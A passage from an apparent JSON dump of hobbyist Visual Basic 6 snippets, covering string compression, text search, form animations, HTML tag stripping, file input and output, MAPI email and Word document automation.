lMaxBufferSize = 65535\n bMaxCompLen = 255\n lBufferStart = 0\n sDataControl = \"\"\n bDataControlChar = 0\n bControlPos = 0\n lControlCount = 0\n If Len(sCompData) > 4 Then\n sCompress = Left(sCompData, 4)\n For lDataCount = 5 To Len(sCompData)\n If lDataCount > lMaxBufferSize Then\n lBufferSize = lMaxBufferSize\n lBufferStart = lDataCount - lMaxBufferSize\n Else\n lBufferSize = lDataCount - 1\n lBufferStart = 1\n End If\n sBuffer = Mid(sCompData, lBufferStart, lBufferSize)\n If Len(sCompData) - lDataCount < bMaxCompLen Then bMaxCompLen = Len(sCompData) - lDataCount\n lCompPos = 0\n For bCompLen = 3 To bMaxCompLen Step 3\n If bCompLen > bMaxCompLen Then\n bCompLen = bMaxCompLen\n End If\n lCompPos = InStr(1, sBuffer, Mid(sCompData, lDataCount, bCompLen), 0)\n If lCompPos = 0 Then\n If bCompLen > 3 Then\n While lCompPos = 0\n lCompPos = InStr(1, sBuffer, Mid(sCompData, lDataCount, bCompLen - 1), 0)\n If lCompPos = 0 Then bCompLen = bCompLen - 1\n Wend\n End If\n bCompLen = bCompLen - 1\n Exit For\n End If\n Next\n If bCompLen > bMaxCompLen And lCompPos > 0 Then\n bCompLen = bMaxCompLen\n lCompPos = InStr(1, sBuffer, Mid(sCompData, lDataCount, bCompLen), 0)\n End If\n If lCompPos > 0 Then\n lBufferOffset = lBufferSize - lCompPos + 1\n sCompress = sCompress & Chr((lBufferOffset And &HFF00) / &H100) & Chr(lBufferOffset And &HFF) & Chr(bCompLen)\n lDataCount = lDataCount + bCompLen - 1\n bDataControlChar = bDataControlChar + 2 ^ bControlPos\n Else\n sCompress = sCompress & Mid(sCompData, lDataCount, 1)\n End If\n bControlPos = bControlPos + 1\n If bControlPos = 8 Then\n sDataControl = sDataControl & Chr(bDataControlChar)\n bDataControlChar = 0\n bControlPos = 0\n End If\n lControlCount = lControlCount + 1\n Next\n If bControlPos <> 0 Then sDataControl = sDataControl & Chr(bDataControlChar)\n sCompress = Chr((lControlCount And &H8F000000) / &H1000000) & Chr((lControlCount And &HFF0000) / &H10000) & Chr((lControlCount And &HFF00) / &H100) & Chr(lControlCount And &HFF) & Chr((Len(sDataControl) And &H8F000000) / &H1000000) & Chr((Len(sDataControl) And &HFF0000) / &H10000) & Chr((Len(sDataControl) And &HFF00) / &H100) & Chr(Len(sDataControl) And &HFF) & sDataControl & sCompress\n Else\n sCompress = sCompData\n End If\nEnd Function\nPublic Function sDecompress(sDecompData As String) As String\n Dim lControlCount As Long\n Dim lControlPos As Long\n Dim bControlBitPos As Byte\n Dim lDataCount As Long\n Dim lDataPos As Long\n Dim lDecompStart As Long\n Dim lDecompLen As Long\n \n If Len(sDecompData) > 4 Then\n lControlCount = Asc(Left(sDecompData, 1)) * &H1000000 + Asc(Mid(sDecompData, 2, 1)) * &H10000 + Asc(Mid(sDecompData, 3, 1)) * &H100 + Asc(Mid(sDecompData, 4, 1))\n lDataCount = Asc(Mid(sDecompData, 5, 1)) * &H1000000 + Asc(Mid(sDecompData, 6, 1)) * &H10000 + Asc(Mid(sDecompData, 7, 1)) * &H100 + Asc(Mid(sDecompData, 8, 1)) + 9\n sDecompress = Mid(sDecompData, lDataCount, 4)\n lDataCount = lDataCount + 4\n bControlBitPos = 0\n lControlPos = 9\n For lDataPos = 1 To lControlCount\n If 2 ^ bControlBitPos = (Asc(Mid(sDecompData, lControlPos, 1)) And 2 ^ bControlBitPos) Then\n lDecompStart = Len(sDecompress) - (CLng(Asc(Mid(sDecompData, lDataCount, 1))) * &H100 + CLng(Asc(Mid(sDecompData, lDataCount + 1, 1)))) + 1\n lDecompLen = Asc(Mid(sDecompData, lDataCount + 2, 1))\n sDecompress = sDecompress & Mid(sDecompress, lDecompStart, lDecompLen)\n lDataCount = lDataCount + 3\n Else\n sDecompress = sDecompress & Mid(sDecompData, lDataCount, 1)\n lDataCount = lDataCount + 1\n End If\n bControlBitPos = bControlBitPos + 1\n If bControlBitPos = 8 Then\n bControlBitPos = 0\n lControlPos = lControlPos + 1\n End If\n Next\n Else\n sDecompress = sDecompData\n End If\nEnd Function\n'Put a two command buttons (Command1 and Command2) on to a form and paste the following on to it as well:\nOption Explicit\nPrivate Const sFileName = \"c:\\compressthis.exe\" ' the file to be compressed\nPrivate Sub Command1_Click() 'Compress the file\n Dim sReturn As String\n Dim sFileData As String\n \n Open sFileName For Binary As #1\n sFileData = Input(LOF(1), #1)\n Close #1\n sReturn = sCompress(sFileData)\n Debug.Print Len(sReturn), Len(sFileData)\n \n Open Left(sFileName, Len(sFileName) - 3) & \"wnc\" For Output As #1\n Print #1, sReturn;\n Close #1\nEnd Sub\nPrivate Sub Command2_Click() 'Decompress the file\n Dim sReturn As String\n Dim sFileData As String\n \n Open Left(sFileName, Len(sFileName) - 4) & \".wnc\" For Binary As #1\n sFileData = Input(LOF(1), #1)\n sReturn = sDecompress(sFileData)\n Close #1\n Debug.Print Len(sReturn), Len(sFileData)\n \n Open Left(sFileName, Len(sFileName) - 4) & \"2\" & Right(sFileName, 4) For Output As #1\n Print #1, sReturn;\n Close #1\nEnd Sub"},{"WorldId":1,"id":1822,"LineNumber":1,"line":"Private Sub FindFunction_Click()\nRem Find/highlight first occurance of a word in a textbox named Text1 \nDim a As String\nDim y As Integer\na = InputBox(\"Find text: \", \"Find\", \"\")\nCall Text1.SetFocus\nSendKeys (\"^{HOME}\")\ny = 1\nDo Until y = Len(Text1.text)\n Rem check if word was located\n If Mid(UCase$(Text1.text), y, Len(a)) = UCase$(a) Then\n Rem highlight the found word and exit sub\n For x = 1 To Len(a)\n SendKeys (\"+{RIGHT}\")\n Next x\n Exit Do\n End If\n Rem do nothing if carriage return encountered else highlight found word\n If Mid(Text1.text, y, 1) = Chr$(13) Then\n Else\n Rem move the cursor to the next element of text\n SendKeys (\"{RIGHT}\")\n End If\n y = y + 1\n If y > Len(Text1.text) Then Exit Do\nLoop\nEnd Sub"},{"WorldId":1,"id":3863,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1920,"LineNumber":1,"line":"Private Sub Form_Unload(Cancel As Integer)\n If Me.WindowState <> 0 Then\n Me.WindowState = 0\n End If\nCancel = -1\nDim HeightOfStartMenu As Long\nDim Speed As Long\nDim StartAt As Long\nFor I = 1 To 999 '// The start menu never uses a HWND higher than 1000\n z$ = Space$(128)\n \n Y = GetClassName(I, z$, 128)\n X = Left$(z$, Y)\n \n If LCase(X) = \"shell_traywnd\" Then\n GoTo JumpOut:\n End If\n \nNext I\nJumpOut:\nGetWindowRect I, What\n'// Get the top pos of the Start Menu\nHeightOfStartMenu = What.Top * 15\nIf HeightOfStartMenu <= 0 Then\nHeightOfStartMenu = Screen.Height\n'// If some smart guy moves the start-menu, to say\n'// the top, left or right bounce at the bottom of\n'// the screen\nEnd If\n'// Turn the value into twips (more commonly used)\nStartAt = HeightOfStartMenu - 4000\nIf StartAt < Me.Top Then\nStartAt = Me.Top\n'// This code prevents the form from bouncing\n'// higher than itself (not logical, the start menu isn't made\n'// of rubber you now)\nEnd If\n'// How many \"bounces?\"\nSpeed = 100\n'// How fast should this go?\nMe.Height = 0\nMe.Width = 4000\nGoAgain:\nDo Until Me.Top >= HeightOfStartMenu\nDoEvents\nMe.Top = Me.Top + Speed\nMe.Left = Me.Left + 15 '<--- Remove the \" ' \" to make the window bounce sideways!\nLoop\nDo Until Me.Top <= StartAt\nDoEvents\nMe.Top = Me.Top - Speed\nMe.Left = Me.Left + 15 '<--- Remove the \" ' \" to make the window bounce sideways!\nLoop\nIf StartAt >= 10000 And Me.Top >= HeightOfStartMenu Then\n Do Until Me.Top >= HeightOfStartMenu + 15000\n Me.Top = Me.Top + Speed\n \n Loop\n \nEnd\nExit Sub\nEnd If\nStartAt = StartAt + 1000\nSpeed = Speed - 5\n'// Decrease speed with 5 after each \"bounce\",\n'// You can change the value all ya want :)\nIf Speed <= 0 Then\nSpeed = 5\n'// If the Speed value gets under zero i will\n'// automatically turn into 5 (cause if it don't\n'// It will stop or do something crazy\nEnd If\n\nGoTo GoAgain:\nEnd Sub\n\n"},{"WorldId":1,"id":6253,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6208,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7357,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7400,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7115,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9119,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8541,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5397,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3799,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3807,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1833,"LineNumber":1,"line":"Public Function ReplaceTags(varName As String) As String\n'Will check each character for it \"& n b s p;\" without the spaces\n'If it exists, skip it\n'Will strip HTML tags and characters\nDim i As Double, varHold As String\nDim checkval As String, holdVal As String\n For i = 1 To Trim(Len(varName))\n \n checkval = Mid(varName, i, 6)\n holdVal = Mid(varName, i, 1)\n \n \n If checkval = \"This page won't allow \"& n b s p;\" Then\n 'So just remove the spaces\n i = i + 5\n GoTo LabelNext\n End If\n \n If holdVal = \"<\" Then\n Do Until holdVal = \">\"\n i = i + 1\n holdVal = Mid(varName, i, 1)\n Loop\n holdVal = \"\"\n End If\n \n If holdVal = \"%\" Then\n Do Until holdVal = \"%\"\n i = i + 1\n holdVal = Mid(varName, i, 1)\n Loop\n holdVal = \"\"\n End If\n \n varHold = varHold & holdVal\n \nLabelNext:\n \n Next i\n \nReplaceTags = varHold\n \nEnd Function\nCreate a form and place two richtext box controls on it and a command button:\nRichTextBox1\nRichTextBox2 \nCommand1\nNow call it like the following:Assuming HTML is in Richtextbox1\nPrivate Sub Command1_Click()\n Me.RichTextBox2 = ReplaceTags(Me.RichTextBox1)\nEnd Sub\n"},{"WorldId":1,"id":1863,"LineNumber":1,"line":"First open up notepad and simply write:\nMsgbox \"HI\"\nNow save the text file. In windows explorer\nfind that text file and change the extention \nto vbs. After changing the extention, double\nclick on the icon and see its power\n"},{"WorldId":1,"id":1837,"LineNumber":1,"line":"' Example\n' Write and read from a text file\n' for beginners\n'\n' Note: this type of read/write will\n' only allow for one line to be\n' writen or read from a file.\n' A seperate file must be used in\n' each instance using this method.\n' This is not the best method, but\n' probably the easiest.\n' ===============================\n'\n' Author: G. M. Faggiano\n' Faggiano Internet Business Development\n' http://fibdev.com\n' vb@fibdev.com\n' ======================================\n'\n' Step 1,\n' Create a new project and save it or open\n' an existing project\n' Step 2,\n' Put a textbox object on form1\n' Step 3,\n' place two command buttons, command1 and\n' command2\n' Step 4,\n' In the project directory create a text file\n' and name it test.txt\n' General Declarations\n' Variable to hold the location\n' of the text file\nDim txtPath As String\n' Variable to hold the text to\n' be writen to the text file\nDim txtOut As String\n' Variable to hold the text\n' to be read from the text file\nDim txtIn As String\nPrivate Sub Command1_Click()\n ' Set variable to hold the location\n ' of the text file\n txtPath = App.Path & \"\\test.txt\"\n ' error handle file location\n If InStr(thefile, \"\\\\\") Then _\n thefile = App.Path & \"test.txt\"\n ' set variable as the contence of the\n ' text box\n txtOut = Text1.Text\n ' open the text file to be\n ' writen to\n Open txtPath For Output As #1\n ' write the contence of the variable to\n ' the text file\n Print #1, txtOut\n ' close the text file\n Close #1\n ' clear the text box\n Text1.Text = \"\"\nEnd Sub\nPrivate Sub Command2_Click()\n ' Set variable to hold the location\n ' of the text file\n txtPath = App.Path & \"\\test.txt\"\n ' error handle the variable\n If InStr(thefile, \"\\\\\") Then _\n thefile = App.Path & \"test.txt\"\n ' open the text file to be read from\n Open txtPath For Input As #1\n ' set the input variable to the contence\n ' of the text file\n Input #1, txtIn\n ' set the text box text to the variable\n Text1.Text = txtIn\n ' close the file\n Close #1\nEnd Sub\n"},{"WorldId":1,"id":7485,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1858,"LineNumber":1,"line":"Sub getstr()\nsaved = \"123,45,6789,99\" 'save contents of string to a variable\ni = 1 ' Counter variable for array\n 'location identifiers for comma\nres = 1\ndef = 1\n'loop to seperate sub-string numbers from string\nDo While res > 0 ' loop until no comma is found\nres = InStr(def, saved, \",\")\nIf InStr(def + 1, saved, \",\") = 0 Then\ncounted = Len(saved)\nElse\ncounted = InStr(def + 1, saved, \",\") - def\nEnd If\narr(i) = Mid(saved, def, counted)\nlabel1.Caption = Str(res)\ndef = res + 1\ni = i + 1\nLoop\nlabel1.Caption = \"The numbers are \"\nDo While i > 0\nlabel1.Caption = label1.Caption + \" \" + arr(i)\ni = i - 1\nLoop\n' The numbers are stored in Array { arr(i) }\nEnd Sub"},{"WorldId":1,"id":2017,"LineNumber":1,"line":"'frmParent should be the main or large form\n'frmToFloat is the name of the form you want\n'\"floating\" or staying on top of your the\n'Parent Form. :)\nfrmToFloat.Show , frmParent"},{"WorldId":1,"id":1871,"LineNumber":1,"line":"Dim nc As Integer\nDim Cont(100, 1) As Integer\nDim NewLocPoint As Integer\nConst Smooth = 0.02\nDim Dragging As Boolean\nFunction B(k, n, u)\n 'Bezier blending function\n B = C(n, k) * (u ^ k) * (1 - u) ^ (n - k)\nEnd Function\nFunction C(n, r)\n ' Implements c!/r!*(n-r)!\n C = fact(n) / (fact(r) * fact(n - r))\nEnd Function\nFunction fact(n)\n ' Recursive factorial fucntion\n If n = 1 Or n = 0 Then\n fact = 1\n Else\n fact = n * fact(n - 1)\n End If\nEnd Function\nPrivate Sub AddCont(X, Y)\n Cont(nc, 0) = X: Cont(nc, 1) = Y\n nc = nc + 1\nEnd Sub\nPrivate Sub cmdReset_Click()\n nc = 0\n picDisplay.Cls\nEnd Sub\nPrivate Sub Form_Load()\n Form1.ScaleMode = vbTwips\n Form1.Caption = \"Bezier Curves by Mark Roberts\"\n Form1.Move 900, 900, 5900, 5200\n picDisplay.Move 120, 120, 5535, 4250\n cmdReset.Move 4640, 4435, 1015, 255\n cmdReset.Caption = \"&Reset\"\n With Label1\n .BackColor = &HC0FFFF\n .BorderStyle = vbFixedSingle\n .Move 120, 4440, 4435, 255\n .Alignment = vbCenter\n .Caption = \"Select new points or drag points to move\"\n End With\n picDisplay.ScaleMode = vbPixels\n picDisplay.FontSize = 5\nEnd Sub\nPrivate Sub picDisplay_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n xv = Int(X): yv = Int(Y) 'In case not pixels\n cval = Clicked(xv, yv)\n If cval > -1 And Button = 1 Then ' In case you want multiple points\n Dragging = True\n NewLocPoint = cval\n Label1.Caption = \"Dragging point \" + Trim$(cval + 1)\n Else\n AddCont xv, yv 'Add the control points\n picDisplay.Circle (xv, yv), 2, 255\n picDisplay.Print nc\n If nc = 1 Then\n PSet (xv, yv)\n Else\n picDisplay.DrawStyle = vbDot\n picDisplay.Line (Cont(nc - 2, 0), Cont(nc - 2, 1))-(Cont(nc - 1, 0), Cont(nc - 1, 1)), 0\n picDisplay.DrawStyle = vbSolid\n End If\n If nc > 1 Then Redraw\n End If\nEnd Sub\nPrivate Sub picDisplay_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n If Clicked(X, Y) > -1 Then\n MousePointer = vbCrosshair\n Else\n MousePointer = vbDefault\n End If\n If Dragging = True Then\n xv = Int(X): yv = Int(Y)\n Cont(NewLocPoint, 0) = xv: Cont(NewLocPoint, 1) = yv\n Redraw\n End If\n \nEnd Sub\nPrivate Sub picDisplay_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)\n ' End dragging operation\n If Dragging = True Then\n Dragging = False\n Redraw\n Label1.Caption = \"Select new points or drag current ones\"\n End If\nEnd Sub\nPrivate Function Clicked(X, Y)\n ' Has the user clicked within the circle\n ' of a current point\n For i = 0 To nc\n xp = Cont(i, 0): yp = Cont(i, 1)\n If Abs(xp - X) < 3 And Abs(yp - Y) < 3 Then\n Clicked = i\n Exit Function\n End If\n Next i\n Clicked = -1\nEnd Function\nSub Redraw()\n 'Redraws entire display\n picDisplay.Cls\n For i = 1 To nc\n xv = Cont(i - 1, 0): yv = Cont(i - 1, 1)\n picDisplay.Circle (xv, yv), 2, 255\n picDisplay.Print i\n Next i\n picDisplay.DrawStyle = vbDot\n For i = 0 To nc - 2\n picDisplay.Line (Cont(i, 0), Cont(i, 1))-(Cont(i + 1, 0), Cont(i + 1, 1)), 0\n Next i\n picDisplay.DrawStyle = vbSolid\n DrawBezier Smooth\nEnd Sub\nSub DrawBezier(du)\n ' Draws a Bezier curve using the control points given in\n ' Cont(...). Uses delta u steps\n \n \n n = nc - 1 'N = number of control points -1\n If n < 1 Then\n MsgBox \"Need more control points\", vbInformation\n Exit Sub\n End If\n picDisplay.PSet (Cont(0, 0), Cont(0, 1)) 'Plot the first point\n For u = 0 To 1 Step du\n X = 0: Y = 0\n For k = 0 To n ' For each control point\n bv = B(k, n, u) ' Calculate blending function\n X = X + Cont(k, 0) * bv\n Y = Y + Cont(k, 1) * bv\n Next k\n picDisplay.Line -(X, Y), 65535 ' Draw to the point\n Next u\n picDisplay.Line -(Cont(n, 0), Cont(n, 1)), 65535\nEnd Sub\n"},{"WorldId":1,"id":10156,"LineNumber":1,"line":"Dim ShellUIHelper1 As ShellUIHelper\n \nSub ImportFavorites(NetscapePath As String)\n Set ShellUIHelper1 = New ShellUIHelper\n ShellUIHelper1.ImportExportFavorites True, NetscapePath\nEnd Sub\nSub ExportFavorites(NetscapePath As String)\n Set ShellUIHelper1 = New ShellUIHelper\n ShellUIHelper1.ImportExportFavorites False, NetscapePath\nEnd Sub"},{"WorldId":1,"id":1862,"LineNumber":1,"line":"Private Sub cmdSendSummary_Click()\n' this command button is used to start a MAPI session, log on the the\n' mail service, attach the created check summary text file to a new\n' message, send the message and then close the session\n' declare local variables here\n Dim strUserId As String\n Dim strPassword As String\n Dim strFileName As String\n Dim strFilePath As String\n \n' set the mouse pointer to indicate the app is busy\n Screen.MousePointer = vbHourglass\n \n' set the values for the file name and the file path\n strFileName = \"\" ' this is where you would put any file attachments\n strFilePath = App.Path & \"\\\"\n \n' set the user name and password properties on the session control\n mapiLogOn.UserName = \"JJones\" ' network user name and password !\n mapiLogOn.Password = \"******\"\n \n' start a new email session\n \n mapiLogOn.SignOn\n Do While mapiLogOn.SessionID = 0\n \n DoEvents ' need to wait until the new session is created\n \n Loop\n \n \n'create a new message and address it\n \n MAPIMessages1.SessionID = mapiLogOn.SessionID\n MAPIMessages1.Compose\n MAPIMessages1.RecipDisplayName = \"Jones,John\"\n MAPIMessages1.AddressResolveUI = True\n MAPIMessages1.ResolveName\n MAPIMessages1.RecipAddress = \"smtp:someone@somewhere.com\" \n' note that I prefixed the address with \"smtp\". This is required by exchange \n' server, or it does not know what service to use for outgoing mail.\n MAPIMessages1.MsgSubject = \"Test of the Email function\"\n MAPIMessages1.MsgNoteText = \" This is a test of the email function, if you\" _\n & \"receive this then the program has worked successfully.\" & vbCrLf\n \n' attaching the file\n MAPIMessages1.AttachmentPosition = Len(MAPIMessages1.MsgNoteText) - 1\n' the line above places the attachment at the end of the text.\n MAPIMessages1.AttachmentPathName = strFilePath & strFileName\n \n' now send the message\n MAPIMessages1.Send False\n mapiLogOn.SignOff\n MsgBox \"File sent to specified receiptent.\"\n \n' now set the mouse pointer back to normal\n Screen.MousePointer = vbNormal\n \nEnd Sub"},{"WorldId":1,"id":4390,"LineNumber":1,"line":"' this subroutine/method is used to print the Genstar Public Officals\n' quote letter. The method expects no values to be passed and the method has no\n' return values.\n' Created 08/27/1999 -- JCH\n' declare local variables here\n Dim objWord As Word.Application\n Dim strDocumentSave As String\n Dim strSearch(14) As String\n Dim strReplace(14) As String\n Dim strDocumentName As String\n Dim strInsertLine As String\n Dim intCounter As Integer\n Dim strContactName As String\n Dim strSelectedName As String\n Dim strFaxNumber As String\n Dim intContactNumber As Integer\n \n' instantate the objects\n Set objWord = New Word.Application\n \n strDocumentName = \"GenStarQuotePOMaster.doc\"\n \n' add values to the search array\n strSearch(0) = \"<<ProducerName>>\"\n strSearch(1) = \"<<ProducerFax>>\"\n strSearch(2) = \"<<InsuredName>>\"\n strSearch(3) = \"<<InsuredState>>\"\n strSearch(4) = \"<<LobDescription>>\"\n strSearch(5) = \"<<limit/occur>>\"\n strSearch(6) = \"<<anag>>\"\n strSearch(7) = \"<<Deductible>>\"\n strSearch(8) = \"<<ConditionalField1>>\"\n strSearch(9) = \"<<ConditionalField2>>\"\n strSearch(10) = \"<<ConditionalField3>>\"\n strSearch(11) = \"<<ConditionalField4>>\"\n strSearch(12) = \"<<CommRate>>\"\n strSearch(13) = \"<<Cname>>\"\n strSearch(14) = \"<<Uname>>\"\n \n' now determine the values for the conditional fields\n Select Case mvarProviderInfo.ProviderName\n \n Case \"General Star Indemnity\"\n \n strReplace(8) = \"*Annual Premium:\" & vbTab & vbTab & vbTab & CStr (Format(mvarPremium, \"currency\")) & _\n vbTab & vbTab & vbTab & vbTab & vbTab & vbTab & vbTab & \"$0\"\n \n strReplace(9) = \"*Loss Control Fee:\" & vbTab & vbTab & vbTab & \"$0.00\" & vbTab & vbTab & vbTab & vbTab & vbTab & vbTab & vbTab & \"N/A\"\n \n strReplace(10) = \"*The above may be subject to state surplus lines taxes and/or fees. Your \" _\n & \"agency is responsible for calculating and remitting the taxes to the state.\"\n strReplace(11) = \"Public Officials coverages are being offered by \" & mvarProviderInfo.ProviderName\n \n If UCase(mvarTaxState) = \"CT\" Then\n \n strReplace(11) = \"Public Officials coverages are being offered by \" & mvarProviderInfo.ProviderName\n \n End If\n \n Case Else\n \n strReplace(8) = \"Annual Premium:\" & vbTab & vbTab & vbTab & CStr(Format(mvarPremium, \"currency\")) & _\n vbTab & vbTab & vbTab & vbTab & vbTab & vbTab & vbTab & \"$0\"\n \n strReplace(9) = \"Loss Control Fee:\" & vbTab & vbTab & vbTab & \"$0.00\" & vbTab & vbTab & vbTab & vbTab & vbTab & vbTab & vbTab & \"N/A\"\n \n strReplace(10) = \"The above may be subject to state surplus lines taxes and/or fees. Your \" _\n & \"agency is responsible for calculating and remitting the taxes to the state.\"\n strReplace(11) = \"Public Officials coverages are being offered by GENERAL STAR NATIONAL (AN A++ Admitted Carrier)\" & vbCr\n \n If UCase(mvarTaxState) = \"NY\" Then\n \n strReplace(11) = strReplace(11) & \"COVERAGE IS OFFERED THROUGH THE NY FEE TRADE ZONE\" & vbCr\n \n End If\n \n End Select\n \n' bring up the form to allow the user to select the producer contact info\n Load frmContactSelect\n frmContactSelect.Visible = False\n DoEvents\n \n' loop through the Producer contacts and add the names to the listbox on the form\n For intCounter = 1 To mvarProducerInfo.Contacts.Count\n \n With mvarProducerInfo.Contacts(intCounter)\n \n strContactName = .FirstName & Space$(1) & .LastName\n frmContactSelect.lstNames.AddItem strContactName\n strContactName = \"\"\n \n End With\n \n Next\n \n' show the form modally to allow the user to select the contact\n frmContactSelect.Show vbModal\n strSelectedName = frmContactSelect.lstNames.List(frmContactSelect.lstNames.ListIndex)\n intContactNumber = frmContactSelect.lstNames.ListIndex + 1\n Unload frmContactSelect\n Set frmContactSelect = Nothing\n' add values to the replace array\n strFaxNumber = mvarProducerInfo.Contacts(intContactNumber).FaxNumber\n \n strReplace(0) = mvarProducerInfo.ProducerName\n strReplace(1) = \"(\" & Left$(strFaxNumber, 3) & \")\" & Space$(1) & Mid$(strFaxNumber, 4, 3) & \"-\" & Mid$(strFaxNumber, 7)\n strReplace(2) = mvarInsuredName\n strReplace(3) = mvarInsuredState\n strReplace(4) = mvarSLOBDescription\n strReplace(5) = CStr(Format(mvarLimitPerOccurance, \"currency\")) & Space$(1)\n strReplace(6) = CStr(Format(mvarLimitAnnualAgg, \"currency\")) & Space$(1)\n strReplace(7) = CStr(Format(mvarDeductible, \"currency\")) & Space$(1)\n strReplace(12) = \"0\" ' for now\n strReplace(13) = strSelectedName\n strReplace(14) = mvarUnderwriterName\n' assign a value for the saved document name\n strDocumentSave = App.Path & \"\\letters\\pipssavedletters\\\" _\n & StrConv(mvarProducerInfo.ProducerName, vbProperCase) & \" GenStarPOQuote \" & _\n Format(Date, \"mddyy\") & \".doc\"\n' see if save name document exists, if so delete it\n If Dir(strDocumentSave) <> \"\" Then Kill strDocumentSave\n' check to see if the master document for this letter exists\n If Dir(App.Path & \"\\letters\\\" & strDocumentName) = \"\" Then\n \n RaiseEvent MasterDocumentNotFound(\"Unable to find \" & strDocumentName & \" file.\")\n objWord.Quit SaveChanges:=wdDoNotSaveChanges\n Set objWord = Nothing\n \n End If\n \n' add this information to the GenStarQuote master document\n objWord.Documents.Open App.Path & \"\\letters\\\" & strDocumentName\n objWord.ActiveWindow.WindowState = wdWindowStateNormal\n For intCounter = 0 To 12\n \n With objWord.ActiveDocument.Content.Find\n \n .Text = strSearch(intCounter)\n .Replacement.Text = strReplace(intCounter)\n .Forward = True\n .Execute Replace:=wdReplaceAll\n \n End With\n \n Next\n \n' insert the rest of the text needed if the provider it genstar indemnity\n If mvarProviderInfo.ProviderName = \"General Star Indemnity\" Then\n \n Select Case UCase(mvarTaxState)\n \n Case \"NY\"\n \n strInsertLine = \" (An A++ Rated Surplus Lines Carrier). YOUR \" & _\n \"AGENCY IS RESPONSIBLE FOR MAKING SURPLUS LINES FILINGS WITH THE STATE. PLEASE PROVIDE A COPY OF \" & _\n \" YOUR SURPLUS LINES LICENSE IF NOT PREVIOUSLY PROVIDED.\"\n \n Case \"CT\"\n \n strInsertLine = \"(An A++ Rated Admitted Carrier in Connecticut). YOUR AGENCY IS RESPONSIBLE FOR MAKEING SURPLUS LINES \" _\n & \" FILINGS WITH THE STATE. PLEASE PROVIDE A COPY OF YOUR SURPLUS LINES LICENSE IF NOT PREVIOUSLY PROVIDED.\"\n \n End Select\n \n objWord.Selection.Find.Text = mvarProviderInfo.ProviderName\n objWord.Selection.Find.Execute\n objWord.Selection.InsertAfter strInsertLine\n objWord.Selection.Font.Bold = False\n \n End If\n \n' bold the provider name in the document\n With objWord.ActiveDocument.Content.Find\n \n .Text = UCase(mvarProviderInfo.ProviderName)\n .Replacement.Text = mvarProviderInfo.ProviderName\n .Replacement.Font.Bold = True\n .Forward = True\n .Execute Replace:=wdReplaceAll\n \n End With\n \n' if the tax state equals new york, then we must remove part of one phrase\n If UCase(mvarTaxState) = \"NY\" Then\n \n With objWord.ActiveDocument.Content.Find\n \n .Text = \"non-monetary\"\n .Replacement.Text = Space$(1)\n .Replacement.Font.Bold = True\n .Forward = True\n .Execute Replace:=wdReplaceAll\n \n End With\n \n End If\n \n objWord.Selection.Collapse wdCollapseEnd\n \n' save the document with a new name\n objWord.Documents(strDocumentName).SaveAs strDocumentSave, , , , True\n \n' make the document visible\n \n objWord.Application.Visible = True\n"},{"WorldId":1,"id":1921,"LineNumber":1,"line":"Private Sub AddWord_Click()\nSaveSetting \"Dictionary\", \"Definitions\", AddName, AddDefine 'Saves Your Entry In The Registry\nAddName = \"\"\nAddDefine = \"\"\nMsgBox (\"Entry Saved\")\nEnd Sub\nPrivate Sub LookUp_Click()\nLabel3.Caption = Word & \" Means:\"\ndefinition = GetSetting(\"Dictionary\", \"Definitions\", Word) 'Gets the entry from the registry\nIf definition = \"\" Then definition = \"No Entry Found\" 'if no entry found then it tells you\nEnd Sub\n"},{"WorldId":1,"id":1874,"LineNumber":1,"line":"'If you want to try this code in action:\n' make a new project and add a module\n'double click on the form and add the following code:\nPrivate Sub Form_Load()\n Form1.Height = 6400\n Form1.Width = 10000\nEnd Sub\nPrivate Sub Form_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)\n If Button = vbRightButton Then\n coolCloseForm Me, 20\n Else\n Dim a As New Form1\n a.Height = a.Height / 2\n a.Width = a.Width / 2\n a.Show\n End If\nEnd Sub\n'Then add the coolCloseForm code to the module\n'Now run the program, left click a few times to add new forms to screen, and then right click on them to make them go away.\n'END OF EXAMPLE CODE\n'\n'\n'\n'ALL CODE BELOW TO THE BOTTOM IS THE ACTUAL MODULE CODE, ABOVE CODE IS ALL OPTIONAL!!\n'\nPublic Function coolCloseForm(closeForm As Form, speed As Integer)\n 'make sure speed is more than 1\n If speed = 0 Then\n MsgBox \"Speed cannot zero\"\n Exit Function\n End If\n 'closeform is the form to close\n 'speed is anything from 1 to about 100\n On Error Resume Next\n 'set the scalemode to twips so that the do statements will work\n closeForm.ScaleMode = 1\n 'so the code wont crash\n closeForm.WindowState = 0\n 'do until the height is the minimum possible\n Do Until closeForm.Height <= 405\n 'let the computer process\n DoEvents\n 'make the form shorter by the speed * 10\n closeForm.Height = closeForm.Height - speed * 10\n 'make the top of the form lower by the speed * 5\n closeForm.Top = closeForm.Top + speed * 5\n Loop\n 'do until the width is the minimum possible\n Do Until closeForm.Width <= 1680\n 'let the computer process\n DoEvents\n 'make the form less wide by the speed * 10\n closeForm.Width = closeForm.Width - speed * 10\n 'make the left of the form farther to the righ by the speed * 5\n closeForm.Left = closeForm.Left + speed * 5\n Loop\n 'when its all done, unload the form\n Unload closeForm\nEnd Function"},{"WorldId":1,"id":1876,"LineNumber":1,"line":"'If you want to test this code, I have written a complex program that not only demonstrates how the code works, but it also allows you to dynamically change the delimeter of the textList and, when adding to the list a new word, if the word uses a character that is already being used as the delimeter, it finds a new delimeter so that you can still add the item. First add 3 text fields, and three labels to the form. Name the fields txtType,txtDelim,txtList.\n'add this code to the form:\n'THIS IS ALL OPTIONAL\nPublic lastDelimeter As String\nOption Compare Text\nPrivate Sub Form_Load()\n Width = 7860\n Height = 1500\n Label1.Caption = \"List to search from:\"\n Label1.AutoSize = True\n Label1.Left = 45\n Label1.Top = 135\n Label3.Caption = \"Text Delimeter:\"\n Label3.AutoSize = True\n 